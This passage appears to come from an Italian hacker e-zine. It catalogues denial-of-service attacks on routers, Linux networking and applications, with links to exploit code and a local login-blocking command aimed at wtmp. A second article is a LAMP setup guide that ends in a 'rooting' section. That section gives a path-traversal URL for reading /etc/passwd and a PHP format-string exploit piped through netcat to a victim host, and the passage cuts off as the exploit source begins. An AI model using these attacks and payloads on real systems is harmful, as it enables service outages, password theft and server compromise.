altri Ascend su una rete. Se vengono mandati pacchetti personalizzati sulla 9....Crash! Link : http://www.real-time.com/nontf/listserv//ascend/Attic/msg14637.html 3) Hardware: ASCEND vari modelli Attacco : Vari modelli crashano se vengono inviati offset TCP di lunghezza non nulla. Il codice è presente in C e Perl nel link. Link : http://www.geocities.com/SiliconValley/Campus/6521/ascend.txt http://www.geog.ubc.ca/snag/bugtraq/msg01717.html 4) Hardware: CISCO (IOS12.0) Attacco : questo tipo è vulnerabile ad attacchi di scan UDP alla porta syslog (514). Potete usare benissimo NMAP (x winzoz ti attacchi..eheh) Link : http://www.europe.cisco.com/warp/public/707/3.html 5) Hardware: CISCO 1000 Attacco : con IOS 9.1 e superiori possono essere inchiodati da remoto Link : http://cert.ip.-plus.net/bullettin-archive/msg00046.html 6) Hardware: CISCO 76x Attacco : con IOS 4.1 - 4.1.1 - 4.1.2 e superiori forse.. son vulnerabili per overflow primitivo, quindi telnettandosi al router e loggandosi con una stringa molto lunga, causando crash o riavvio! Link : http://www.cisco.com/warp/public/770/pwbuf-pub.shtml 7) Hardware: CISCO 2500 Attacco : con IOS 10.2 sono vulnerabili alle belle inondazioni di pacchetti sulla 9. Link : http://www.tao.ca/fire/bos/old/1/0015.html 8) Hardware: CISCO CATALYST Attacco : Alcuni modelli di questa unità hanno un servizio TCP non documentato ;) Collegandosi a questo servizio, verrà causata un'interruzione di servizio. Link : http://www.codetalker.com/advisories/iss/iss-990324.html 9) Hardware: CISTRON RADIUS Attacco : un bel server ma che incappa..ma strano... in vulnerabilità DoS. Codice nel link. Link : http://dataguard.no/bugtraq/1998_2/0128.html 10)Hardware: FLOWPOINT DSL 2000 Attacco : con OS 1.2.3 sono vulnerabili ad un oscuro overflow...per ottenerlo dovete mandare in overflow il prompt, che può causare una interruzione del servizio fatale.. Link : http://geog.ubc.ca/snag/bugtraq/msg02636.html 11)Hardware: GENERAL (la maggior parte) Attacco : Vanno in overflow se vengono lasciate molte sessioni telnet in sospeso Link : http://www.tdyc.com/Lists-Archives/bugtraq-9902/msg00053.html 12)Hardware: MICROCOM 6000 Attacco : Gli integratori di accesso sono buggati per attacco primitivo o da sessioni telnet multiple. Link : ....ops.... 13)Hardware: LIVINGSTONE 1.16 Attacco : Attacco DoS consessioni sospese.. Link : http://www.newwave.net/~optimum/exploits/files/livradius.txt 14)Hardware: LIVINGSTONE POSTMASTER con ComOS minore di 3.3.1 Attacco : vulnerabili ad overflow iniziato dal telnet. Codice nel link. Link : http://webm43ac.ntx.net/Kurupt/pmcrash.c 15)Hardware: OSICOM ROUTERMATE Attacco : possono crashare per un attacco di SYN, codice nel link. Link : http://thc.pimmel.com/files/flood/synk4_c.html Ora mi sembra che materiale per prove da fare ne avete abbastanza...! Hey, per le prove, non fate cazzate ma.. compratevi un router o un bel server e lo attaccate da locale... ;)) uaz . <=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI A RETI LINUX<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=> Sono attacchi che hanno come obiettivo...le reti linux. ma va? si. 1) SESQUIPEDALIAN.C Tipo : frammentazione della cache IP Versioni : 2.1.89-2.2.3 Risultato : blocca connessione IP Link : http://www.educ.umu.se/~bjorn/mhonarc-files/linux-security/msg01261.html Spiegazione: questo attacco sfrutta un errore nel file ip_fragment.c nella funzione ip_glue(). Durante il passaggio, i datagrammi IP vengono frammentati e devono essere riassemblati a destinazione ( cos'è quella faccia..?! studia il tcp/ip!). Quando Linux accetta i frammenti di datagrammi IP durante il processo, li conta. Questo processo continua fino a quando tutti i frammenti sono stati ricevuti. Programmando si possono eseguire i conteggi in diversi modi, esempio: int main() { int i=0; while(i<10) { i+=1; printf("\nTest\n"); sleep(1); } } Anche in ip_fragment il conteggio viene fatto con un ciclo while: /*copia le porzioni di dati di tutti i frammenti nel nuovo buffer */ fp=qp->fragments; count=qp->ihlen; while(fp) { if((fp->len <0) || ((count + fp->len) > skb->len)) goto out_invalid; memcpy((ptr+fp->offset), fp->ptr, fp->len); if (count==qp->ihlen) { skb->dst=dst_clone(fp->skb->dst); skb->dev=fp->skb>dev; } count+=fp->len; fp=fp->next; } Quando il primo frammento IP ha lunghezza 0, la funzione dst_clone() viene callata (..chiamata) due volte. Questo crea una entry errata nella cache. Linux poi interpreta male questa entry pensando che sia in uso e quindi sbaglia e la lascia "appesa".Così la prima volta l'attacco crea una entry semi-permanente. BAsta crearne un po' ;) , infatti la cache è limitata a 4.096 entry simultanee. Quando viene ragiunto questo numero vengono bloccate le altre entry. A questo punto la cache è satura e linux non processa più traffico IP. DoS. Questo attacco è simile a teardrop (frammenti troppo piccoli), nestea(troppo grandi), e ping della morte(pacchetti ping sovradimensionati). 2) demone inetd e NMAP Tipo : scansione stealth Versioni : 2.x Risultato : molteplice.. Link : http://geek-girl.com/bugtraq/1998_4/0709.html Spiegazione: NMAP è un comodissimo scanner di rete con possibilità di scansioni stealth dove le porte vengono aperte ma non si da il tempo al demone di creare un processo child(inviando un pacchetto con flag RST, reset), quindi non si è loggati. Si possono mandare down FTP, HTTP, telnet..ma su versioni abbastanza obsolete.. 3) richieste di stampa lpd contraffatte Tipo : Attacco autenticazione lpd Versioni : lpr-0.33-1 su Red Hat Risultato : sospensioni stampa e richieste di stampa future. Link : http://mlug.missouri.edu/list-archives/9812/msg00059.html Spiegazione: Lpd è il daemon della stampante di linea, gestisce l'area di spool. Nelle versioni interessate, possiamo inviare richieste di stampa a server su cui non abbiamo nessun account. Lpd non è in grado di riconoscere o autenticare l'utente e quindi crasha, e con lui i processi di stampa avviati e futuri.. 4) MIMEFLOOD.pl (estensione *.pl è per programmi in perl!) Tipo : Flooding di intestazioni MIME Versioni : Apache 1.2.5 e superiori Risultato : Il server web...muore ;) Link : http://www.geocities.com/SiliconValley/Campus/6521/flood.txt Spiegazione: Apache è il web server di default (httpd) sulla maggior parte di sistemi pinguino moderin. Gestisce molti tipi di MIME diversi. Nella 1.2.5 e in alcune versioni successive, Apache non limita il numero di richieste MIME che un client può fare...il codice flooda Apache con intestazioni MIME causando il solito..crash. ;) 5) PORTMAP (ed altri rpc) Tipo : DoS SlowPoke Versioni : Servizi rpc in 2.0.33 e sup. Risultato : blocco servizi rpc Link : http://geek-girl.com/bugtraq/1998_1/0499.html Spiegazione: rpc=remote procedure call, possiamo inviare comandi dal client per esecuzione su server remoto. Il server remoto esegue il comando nel suo spazio di indirizzo. Diversi sistemi e applicazioni usano RPC, anche NFS.. Lsciando in sospeso i servizi rpc, collegandosi alle loro rispettive porte e inviando spazzatura ogni tanto, crasha la connessione slowpoke. 6) DoS a time e daytime Tipo : Scansione stealth Versioni : 2.0.x e superiori Risultato : crash Link : http://www.insecure.org/nmap Spiegazione: I protocolli time e daytime girano sulle 13 e 37 (rfc 868,rfc 867). I bersagli crashano quando noi facciamo scansioni stealth su queste porte, attraverso la connessione mezza aperta che non risultano come sessioni attive. 7) Teardrop Tipo : Sovrapposizione di frammentazione IP Versioni : 1.x - 2.x e varie altre Risultato : crash, riavvio, blocco Link : http://www.ryanspc.com/exploits/teardrop.c Spiegazione: rivela un errore nelle vecchie versioni di ip_fragment.c alla funzione ip_glue() ma non scoppia fino alla funzione ip_frag_create(). Durante il passaggio i datagrammi IP vengono frammentati e riassemblati a destinazione. ip_fragment gestisce tutto ciò. Nelle vecchie versioni ip_glue() controllava i frammenti più grandi ma..non quelli più piccoli..! Se attacchiamo forzando una lunghezza di frammento negativa, ip_glue() assegna valori errati. Quando i valori passano a ip_frag_create() linux tenta di copiare grandi quantità di dati. Crash! M$ Window$ NT dava come errore STOP 0x0000000A o 0x00000019 e moriva! /* ....ho un leggero dolore ai polpastrelli.....pausa.. SLEEP(1000); ;) ...*/ 8) NESTEA.C Tipo : sovradimensionamento di frammentazione IP Versioni : 2.x - 2.1e altre Risultato : Crash Link : http://webstore.fr/~tahiti/nestea.txt Spiegazione: Stessa cosa di ip_fragment.c con ip_glue(). Sbaglia a controllare adeguatamente le dimensioni di ogni frammento. Il massimo permesso è di 60 byte e Linux va in crash quando riceve frammenti più grandi.... c'è ancke nestea2.c 9) PONG.C Tipo : fluso ICMP Versioni : attacco ai router, generiche Risultato : morte..eheh Link : http://pc45.informatik.unibw-muenchen.de/computer/security/sources/pong.c Spiegazione: Se attacchiamo inviando richieste ICMP usando indirizzo falso (tipo smurf). L'indirizzo è quello dell'obiettivo. La richiesta ICMP viene quindi indirizzata verso host multipli sulla rete del bersaglio. Questi rispondono a turno riempendo l'obiettivo di risposte. Se la rete del bersaglio ha tanti host...l'obiettivo è fottuto.. ;) 10)Ping Della Morte Tipo : pacchetti ping sovradimensionati Versioni : dipende dalla macchina...ancora i voga Risultato : crash system Link : http://bob.urs2.net/computer_security/C%20source%20code/ Spiegazione: sintassi " ping momehost ". ma va? si. test.. : " ping -l 65510 tuo_host Non funge contro windoe$ 98 11)OCTOPUS.C Tipo : saturazione tabella di processo Versioni : Tutte ;)) Risultato : Sovraccarico processo, crash, DoS Link : http://www.sekurity-net.com/scripts/octopus.c Spiegazione: apre il maggior numero possibile di socket sul bersaglio . Octopus va sulla 25 (smtp). Durante l'attacco, una workstation remota può essere messa down saturando la tabella dei processi attraverso chiamate multiple a sendameil. Questo perchè la 25 è di default. Se la tabella di processo della vittimazza, configurata alla creazione del kernel, viene riempita, gli uteneti non saranno più in grado di eseguire comandi da shell. Anche la maggior parte dei MUD vanno in crash quando il numero dei socket superano una certa quantità. Questo attacco è difficile da anticipare in quanto inizia in modo legittimo accedendo a servizi legittimi. Purtroppo però Octopus non fornisce meccanismi di spoofing ed è limitato non solo dai socket disponibili sulla vittima, ma anche da quelli della macchina da cui parte l'attacco. E' possibile aumentare questo numero spippolando sul kernel (kernel hacking), ma pochi DoS-atori si prendono la briga di farlo.Questo attacco ha la pecca di consumare risorse da entrambe le parti... Per provarlo..scaricatelo e compilatelo (#gcc octopus.c -o octopus). Ora avviate il prog. Per default apparirà l'"usage". sgihack 4% octopus Usage: octopus address [port] where address is a numeric internet address and port is an optional port number (default=25) Quando viene lanciato contro la vittimazza sfigata,lascia questo tipo di log 250 October 10 01:00:12 Target sendmail: connect from -> -> linux.snhyper.net (192.168.0.1) 5 October 10 01:58:52 Target sendmail: NOQUEUE: SYSERR(root): -> -> daemon: cannot fork: Resource temporarily Unavailable 1 October 10 01:58:52 Target sendmail: NOQUEUE: SYSERR(root): -> -> daemon: cannot fork: Resource temporarily Unavailable -> -> [filter /usr/sbin/sysmonpp failed: Resource temporarily Unavailable] 3 October 10 01:59:21 Target ypbind: broadcaster -> -> fork failure: Resource temporarily unavailable Quindi se nei log trovate una richiesta di connessione tipo questa... <=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI A APPLICAZIONI LINUX<=<*>=><=<*>=><=<*>=><=<*>=> 1) NETSCAPE COMMUNICATOR Content Type(1) Tipo : Errore di bus forzato Versione : Netscape Communicator 4.05 + 4.5b(1) Risultato : Communicator crasha subentra un errore di bus Link : http://geek-girl.com/bugtraq/1998_4/0034.html Spiegazione: I server e i web browser Web possono interpretare diversi tipi di MIME. I più comuni sono text/html e text/plain e i Webmaster inseriscono spesso qesti due all'inizio di un documento. Questo dice al browser come trattare i dati. Per esempio, dopo aver definito le variabili e tolto i metacaratteri pericolosi dagli input degli utenti negli script cgi, di solito si include una frase " content type print " per notificare al browser dove iniziano i dati del messaggio. Esempio: #!/usr/local/bin/perl if ($ENV{'REQUEST_METHOD'} eq 'POST' { read(STDIN, $buffer, $ENV{'CONTENT_LENGHT'}); @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9]/pack("C", hex($1))/eg; $value =~ tr/,/ /; $contents{$name} = $value; } } print "content-type: text/html\n\n; [on-the-fly-HTML-and-output-goes-here] Netscape Communicator 4.05 e 4.5b(1) sono vulnerabili a un attacco DoS di un semplice content type. Webmaster malintenzionati..non noi... ;))) .. possono creare uno script che offre la seguente dichiarazione: print "Content-type: internal/parser\n"; Quando NEtscape scarica questi dati....crasha ;) 2) NETSCAPE COMMUNICATOR Content Type(2) Tipo : Overflow di buffer Versioni : 4.07 - 4.5 Risultato : Pericoloso...shell ad utenti remoti...ma chi la vorrebbe?!? ;) Link : http://www.shout.net/nothing/buffer-overflow-1/view-buffer-overflow-1.cgi Spiegazione: Netscape memorizza diversi tipi di MIME conosciuti. Puotete vederli aprendo Edit->Preferences->Applications. Quando Communicator trova un tipo sconosciuto, uno che non è nella lista delle applicazioni, visualizza una finestra di dialogo che permette di recuperare un plug-in. Communicator crea la finestra di dialogo usando la funzione sprintf() con un buffer da 1Kb. Questa funzione non esegue controlli lui limiti, e quindi noi attaccando da un sito remoto possiamo sovraccaricare il buffer usando il comando giusto. Da una shell attiva sulla vittimazza, e quindi eseguire comandi. 3) BLocco su wtmp Tipo : blocco Versioni : io ho provato su alcune Red Hat, e alcune Debian e funzionava. Risultato : Nessuno può collegarsi Link : -- Spiegazione: wtmp (/var/log/wtmp o sui vecchi /var/adm/wtmp) registra tutti i collegamenti e le disconnessioni. Questo è il file che viene generato da "last" per riportare l'ultimo collegamento: [Snhyper@Charlotte]# last anon anon ftp2887 UNKNOWN@linux.samsha Mon Oct 15 00:13 - 00:13 (00:00) anon ttyq1 linux2.snhyper.net Mon Oct 15 00:12 - 00:12 (00:00) anon ttyq1 linux2.snhyper.net Sun Oct 14 23:13 - 23:13 (00:00) anon ftp2599 UNKNOWN@linux.samsha Sun Oct 14 23:07 - 23:07 (00:00) anon ftp2589 UNKNOWN@linux.samsha Sun Oct 14 23:02 - 23:02 (00:00) anon ftp2563 UNKNOWN@linux.samsha Sun Oct 14 23:00 - 23:00 (00:00) anon ftp2025 UNKNOWN@linux.samsha Sun Oct 14 22:58 - 22:58 (00:00) wtmp begins Sun Gen 18 15:32 NEi sistemi interessati, utenti locali senza privilegi possono bloccare wtmp e impedire i collegamenti usando "nvi" per editare wtmp. "nvi" per i windowziani è un clone dell'editor BSD originale "vi". L'attacco è: snhyper$ nvi /var/log/wtmp Altri attacchi , tra cui molti validi sono: <*> Ascend Kill II Riavvia alcuni router Ascend inviando alla 9 pacchetti UDP distorti. http://www.jabukie.com/Unix_sourcez/akill2.c <*> biffit Blocca sistemi BSD (free/net) bombardandoli con pacchetti UDP. Prende ancke alcune Slackware. http://bob.urs2.net/computer_security/C%20source%20code/biffit.c <*> coke Consuma memoria, spazio su disco e altre risorse su sistemi Windows martellando WINS http://bob.urs2.net/computer_security/C%20source%20code/coke.c <*> collide Apre numerose sessioniTCP sul bersaglio. http://www.nauticom.net/www/acidwarp/code/collide.c <*> echock Killer di ICMP ECHO cje implementa tempeste di pachetti ICMP. http://www.nauticom.net/www/acidwarp/code/echock.c <*> fraggle Tempesta di pacchetti simil-smurf via UDP ftp://ftp.technotronic.com/denial/fraggle.c <*> hanson Crasha i bersagli lanciando mIRC http://webm43ac.ntx.net/Kurupt/hanson.c <*> ipbomb bombarda di pacchetti IP di diverse dimesioni http://home.earthlink.net/~omara2/files/ipbomb.c <*> ircd_kill Stacca dalla rete i server Irc forzando un errore di segmentazione (segmentation fault) ;)) http://www.firosoft.com/security/phihlez/utilities/irc/ircd_kill.c <*> Jolt Invia frammenti di pacchetti sovradimensionati a host Windows 95. QUando la vittimazza che tiene ancora W95 cerca di riassemblare quei frammenti...si blocca. http://esi.us.es/~roman/ircutils/jolt.html <*> n00k Bombarda di pacchetti ICMP con ICMP irraggiungibili http://www.rat.pp.se/hotel/panik/archive/n00k.c <*> pepsi Il pepsi.c originale, che inonda l'host generando UDP casuali ! Rende casuale anche l'indirizzo sorgente... ;) http://thc.pimmel.com/files/flood/pepsi_c.html <*> Out of Band OOB si appoggia sul settaggio della flag URGENT nei pacchetti. WinNT si aspetta un certo tipo di dati dopo quella flag. Quando non riceve quelli attesi, poveretto, va a gambe all'aria..! ;) http://bob.urs2.net/computer_security/C%20source%20code/oob.c <*> rwhokill Forza rwhod a creare file di spool spaventosamente grandi.. ;) http://www.sekurity-net.com/newscripts/rwhokill.c <*> sunkill Attacco DoS speciale per sistemi Sun SOlaris 2.5.1 e più. http://underground.simplenet.com/central/exp-jan/sunkill.c Oltre a questi attacchi, la magior parte dei qualo creati per DoS-are.., un utente bastardo dentro ( chi? io?! no..) può eseguire altre azioni in grado di mandare down i server. Se osservate bene, molti servizi TCP iniziano a consumare le risorse subito dopo aver aperto una sessione col client. Non è neanche necessario che il server recuperi informazioni per il client. Dato che la connessione è gia aperta, il server probabilmente ha gia iniziato un processo. Sebbene alcuni servizi di rete ora facciano almeno controlli minimi per l'utilizzo eccessivo, per es. sendmail, noi possiamo aggirarli eseguendo lentamente l'attacco alle tabelle di processo. Questo è un approccio più sofisticato e carino rispetto agli attacchi precedenti, moltio dei quali martellavano un server ad alta velocità. Per quanto riguarda attacchi DoS involontari.., ne esistono pochi. Anche quando utenti non stanno cercando deliberatamente di interrompere il servizio, le loro attività di solito vengono proibite o, nel peggiore dei casi, sono violazioni accettabili. Un esempio tipico è quando gli utenti fanno spam fuori dalle reti usando un indirizzo non valido che tuttavia è riconducibile alla rete. Potrebbero ottenere una lista di indirizzi e-mail in un file di testo (un indirizzo per riga) e fare qualcosa di veramente stupido, come includere una funzione come questa nel loro script di spam: $lines_in_file='wc email_addresses.txt': @get_lines=split(//, $lines_in_files); $no_of_email_addresses=$get_lines[0]; $email_address_count=0; while($email_address_count < $no_of_email_addresses) { $mailout_addresses= "123$email_address_count\@tua_rete.com"; $email_address_count++; } Il risultato è un incremento di $mailout_address: 1231@tua_rete.com 1232@tua_rete.com 1233@tua_rete.com 1234@tua_rete.com 1235@tua_rete.com Questo processo continua, incrementando di uno per ogni destinatario email specificato nel file di indirizzi, fino a quando lo spam è completo. Molti server di posta useranno l'indirizzo contraffatto come percorso di ritorno. Il risultato è..come potete ben capire..che sia i messaggi rimbalzati, sia queli che arrivano da destinatari arrabbiati sono diretti al vostro srever di posta. Siccome il server non può identificare l'utente specificato, genera un errore e lo notifica al mittente. Se l'utente invia abbastanza messaggi contraffatti, il traffico di ritorno può mandare giù il server di posta... ;) E' un attacco sufficiente per una revoca dell'account ma...non sufficiente per il tempo perso dal sysadm del server.. ;) E con questo chiudo perchè mi sono rotto... socket.close.. Tnx && Bye to: FuSyS, Nobody, Naif, Tritemius, embyte, Nextie, Raptor, Morpheo, SirPsychoSexy, MoF, UIHA e quelli che ho tralasciato Fucks to...anyone For contact : snhyper@hotmail.com [[[[[[ ..::SNHYPER::.. ]]]]]] * Security Develover * Linux registered user #249109 Linux registered machine #133922 -----BEGIN PGP PUBLIC KEY BLOCK----- mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K =uAC7 -----END PGP PUBLIC KEY BLOCK----- |-----------------------------------------------------------| |Art. N° <4> : "Configuriamoci MySql, Apache, Php..." di e4m| |-----------------------------------------------------------| __________________________________________________________________ |"*"|Coded by e4m____________________________________________|*|-|x| |101010101010101010101010101010101010101010101010101010101010101010| |010101010101010101010101010101010101010101010101010101010101010101| |010101010101010111010101001000100010100100101001010101010410101010| |10| \ 01010101 / \101010101/ \/ \01000| |10| ________| 01010101/ /| |01010101/ \1011| |10| |________ 010101 / /0| |0101010| /\ /\ |100| |01| | 101011/ /01| |0101010| /0 \ /01\ |110| |10| ________| 10100/ /010| |0101010| |01 \/010 | |010| |01| |0101010110101/ /0100| |0101001| |010101010| |110| |01| |01010101010_/ \0110| \____ | |010101010| |011|_____ |10| |/ \ | \01010101/ |100|!!!!/ |01|______________/|_______ ___________||_____\010101/_____|011|!!!/ |011010010101010101011101010| |010101001010101010101010101010101|!!/ |010101011010101100100101010| |010101010101010101010101010101010|!/ |010010100101001010010101001|____|010101011101010101010101001101010|/ -------------------------------------------------------------------- Questo tute HowTo si compone in varie parti infatti e' un po' grandicello ma bellino sono ormai giorni che faccio prove ..finalmente posso spiegarvi tutto! Allora,andiamo per ordine parleremo del Mysql Apache e Php poi vi daro' degli esempi e spieghero' qlc Bughetto :) Un mega saluto alla crew #Bfc :) Un altro saluto a tutti i nick ke mi conoscono ..Finalmente Www.bfc.too.iT e' aperto :) Inoltre saluto tutti i coglioni come skramer che non sanno dove acquistare l'hardware per la programmazione dei chip :> Mi fermo con i saluti ed inizio la mia lunga fase di tintinnio sulla tastiera... Allora, mi sono trovato ultimamente a mettere le mani con i Server per l'esattezza WebServer Dinamici,con un sistema di scripting che gestisca le pagine e un megadatabase che memorizzi i dati da pubblicare. In questo caso opereremo in LInux in cui i fattori preferiti sobno Apache , php e Mysql; in win sono Ac-cess :) Sql server ed Internet Information Server (iis).. anche se e' facilissimo configurare anche Apache.Anche se non e' sicuro al 100% in win soprattutto nelle macchine 98!! Se proprio volete fare i pazzi scaricatevi anche le patch! Vi spiego in grandi linee come configurare Apache in Win: +================================+ |[How-To-Configure-Apache-in-Win]| +================================+ Questo demone e' il piu facile da settare in win (almeno per me), innansitutto scaricatelo : http://httpd.apache.org/dist/httpd/binaries/win32/ Ora installandolo ci uscire la seguente schermata oltre Nome etc... Server name: Domain name: Administrative email account: Potrete impostate le prime 2 a 127.0.0.1 oppure se avete gia'un dominio etc inserite i dati. Io vi consiglio un flessibile e gratuito dominio con Dns2go.com Qui potrete scaricarvi un Redirecter che trasformera' semplicemente il vostro ip in un dominoio che sceglierete FREE. Ad esempio e4m.linux-site.net oppure e4m.dns2go :) Tornando a noi,ora potete provare il vostro demone (Dopo aver riavviato :) Ora agisce la consolle Start/Programmi/Apache httpd server/Start Apache in Console che e' un programmino ceh lascerete in Tray (Sempre o almeno fin a quando volete far girare il server e provate ad inserire Offilne nel vostro Internet Explerror :P Localhost ossia (127.0.0.1) Ora vi apparira' la scritta "Funziona! Il Server Web Apache e' stato installato su questo sito Web.. se e' tutto ok! Se invece avete sbagliato qlc non vi apparira' nulla (Rileggete quanto ho scritto..) Ora capiremo velocemente cone Funzionano i Log e come inserire le vostre paginette. Allora nella cartella in cui avete installato apache esempio (C:\Programmi\Apache Group\Apache\) troverete una cartella di nome htdocs qui troverete una cartella (manual) da non cancellare e vari files tra cui file html e jpg in pratica sono quelle pagina con scritto Complimenti hai installato etc... cancellali ma lascia la cartella MANUAL!! li "C:\Programmi\Apache Group\Apache\htdocs" metti i tuoi files. Puoi anche reindirizzare il file di configurazione in un altra directory(ad esempio se vi rompete di scopstare un intera directory li' potete farlo ora vi faccio vedere. C'e' da ricordare che la pagina iniziale deve sempre avere il nome di Index.html . Ritornado al discorso della directory da non spostare e' facile configurare il file appunto HTTPD.CONF C:\Programmi\Apache Group\Apache\conf . Tutte le righe con questo prefisso "#" sono di commeto. Ora.. Aprite httpd.conf con notepad , cercate le stringhe C:\Programmi\Apache Group\Apache\htdocs , modificatele con la cartella dove si trova il sito (esempio c:\sito\cazzolo)..Attenzione se indicherete cio' al file conf tutte le sottodirectory saranno accessibili in OnlyRead (Sola lettura) anche (C:\sito\cazzolo\password\)!! Quindi c'e' da starsi attenti! Fatto cio' (potete anche evitare) vediamo i log. Eccone uno! Facilissimo da leggere Impostate il carattere TERMINAL se siete su win Per leggere bene 127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "GET /apache_pb.gif HTTP/1.1" 304 - |___________________|_________|__________________|_____________________| Ip dell'utente Giorno Ora il file Operazione Connesso che ha visualizzato Possono esserci varie operazioni tra cui errori come il famoso 404 file not found! 304 indica operazione avvenuta! Invece se parite il log degli errori troverete il tutto spiegato [error] e File not found 404 :) Contenti?? Ora ci siamo se avete fatto un server Dns2to avviatrelo e fate nel vostro browser Vostro.sito.dominio.com esempio e4m.linux.com (SEMPRE AVENDO LA CONSOLLE APERTA) ..visto?? funziona!!! Quindi abbiamo fatto la prima cosa (la piu facile ora ci tocca ora rebottiamo in linux come Root connettiamoci scarichiamo i sorgenti: www.php.net www.mysql.com www.apache.org :) Pronti??? Si parte ... +=================================+ |[How-To-Configure-MySql-In-Linux)| +=================================+ Ecco MySql (la base di tutto!) Ora installiamolo: #tar zxvf mysql-x.xx.xxx.tar.gz (le x sono la versione esempio 2.0) Otterremo una new directory MySql.x.xx.xxx entriamo e facciamo come sempre: #cd mysql-x.xx.xxx #./configure - prefix=usr/local/mysql Non dovrebbe causare alcun errore per essere piu sicuri e vedere tutte le possibili funzioni legate a configure fate: #./Configure -help Cosa vedere di new? "-prefix" per indicare con questa direttiva che vogliamo installare ogni parte del nostro programma in una dir ben definita. Al termine di cio' compiliamo ed istalliamo normalmente con: #make #make install A questo punto e' installato MySql ma per concludere dobbiamo creare delle tabelle nel nosto database che riguardano gli utenti che possono accedere a MySql : #/usr/local/mysql/bin/mysql_install_db Poi impostiamo la pass per l'utente root per proteggere il nostro database Noteremo una (-p) che ci servira' per poter eseguire i programmi: #/usr/local/mysql/bin/mysqladmin -u root (-p) password `new pasword' Vi consigliodi creare un new utente e un new groppo sotto i cui permessi sara' eseguito mysql.Useremo il comando "Chown ricorsivo" (-R),cio' garantira' maggiore sicurezza : #groupadd mysql #useradd -g mysql mysql #chown -R mysql.mysql /usr/local/mysql Lanciamolo finalmente: #/usr/local/mysql/bin/ safe_mysqld -user=mysql & Questo comando dovrebbe essere inserito in uno script d'avvio in modo da non riscfriverlo ogni volta che dovete runnare Mysql. Avete presente i file batch in Dos? Ecco in linux userete gli Script! +==========================================+ |[How-To-Configure-Apache and Php-In-Linux)| +==========================================+ Adesso che abbiamo installato MySql Installeremo Php e Apache che interaggirano col nostro database. Scompattiamo gli archivi! #tar zxvf php-x.x.x.tar.gz #tar zxvf apache_x.x.x.tar.gz Configuriamo apache: #cd apache_x.x.x #./configure Per php e' un po' diverso: #cd ../php-x.x.x #./configure mysql=usr/local/mysql -with- apache=../apache_x.x.x -enable- track-vars #make #make install Alcuni di questi parametri sono utlili per utilizzare Php assieme a Mysql e ad apache. Infatti indichiamo le directory.Ora finiamo di installare Apache! #cd apache-x.x.x #./configure - prefix=/usr/local/apache -activate- module=src/modules/php4/libphp4.a #make #make install anche in questo caso notiamo che abbiamo richiamato il configure con numerosi parametri,e' interessante notare che il file libphp4.a non esiste ancora e verra' crato in seguito a questa operazione.L'ultima operazione e' copiare il file di confuigurazione del php nella sua locazione standard ed eventualmente modificarlo: #cp php.ini-dist /usr/local/lib/php.ini Ora abbiamo installato tutto ma dobbiamo configurare il famoso file .conf che interpretera' le pagine scritte in php. addtype application/x-httpd-php .php .php3 addtype application/x-httpd-php-source .phps Dobbiamo anche aggiungere alla sezione riguardante le estensioni riconosciute i nuovi formati supportati,in modo che siano riconosciuti da Apache. DirectoryIndex index.html index.php index.phps default.php index.php3 Riavviamo apache ed il gioko e fatto!.. #cd /usr/local/apache/bin #apachectl restart +=====================+ | [Testare il tutto) | +=====================+ Adesso siamo giunti alla fine anche su linux.Questi software servono,come gia detto a costruire siti dinamici appoggiandosi ad un database per gestire i dati. Le nostre pagine in php saranno molto simili a quelle html e per inserire i comandi in php basta utilizzare i tag come in quresto esempio:
Iniziamo a vedere come si gestisce ol Mysql utilizzando il php,se dovessimo impartire comandi con la linea di testo cominceremo subito a chiedeci ci ce l'ha fatto fare! Per questo utilizzeremo PhpMyAdmin un programmino scritto in php in grado di interfacciarsi con Mysql e gestire le nostre tabelle :> Basta scompattarlo configurarlo aprirlo via browser inserendo la directory in cui l'abbiamo scompattato! Utilizza http://www.ziobudda.net/ dove si possono trovare informazioni relative a linux e php! +================================+ | Rooting in the server-Hacking | +================================+ Quindi abbiamo capito come funziona Php in "sinergia" :) con il demone Apache e col database MySql :> Ora vedremo come distruggerli "Expilotarli" e rendersi root nel Server! Molte volte bastano piccolissimi e stronzissimi bug per fottere i server Apache in questo caso vi faccio vedere come expilotare ed usufruire dello "ShowFiles" : lynx http://www.sito.com/cgi-bin/ikonboard/help.cgi?helpon=../../../../../etc/passwd%00 Figo e'? Solo ../../../../../ ci fanno scoprire le pwd ecco come dicevo su.. Rileggi la guida :) Possiamo quindi spiare le pass :) Testato su Apache/1.3.9 (Unix) PHP/4.0.3pl1 FrontPage/4.0.4.3.. Un altro Expilot figo e' PHP 3.0.16/4.0.2 remote format overflow exploit. Con netcat : Sintassi: phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 Eccolo qui [PHPXPL.C]: /* * PHP 3.0.16/4.0.2 remote format overflow exploit. * Copyright (c) 2000 * Field Marshal Count August Anton Wilhelm 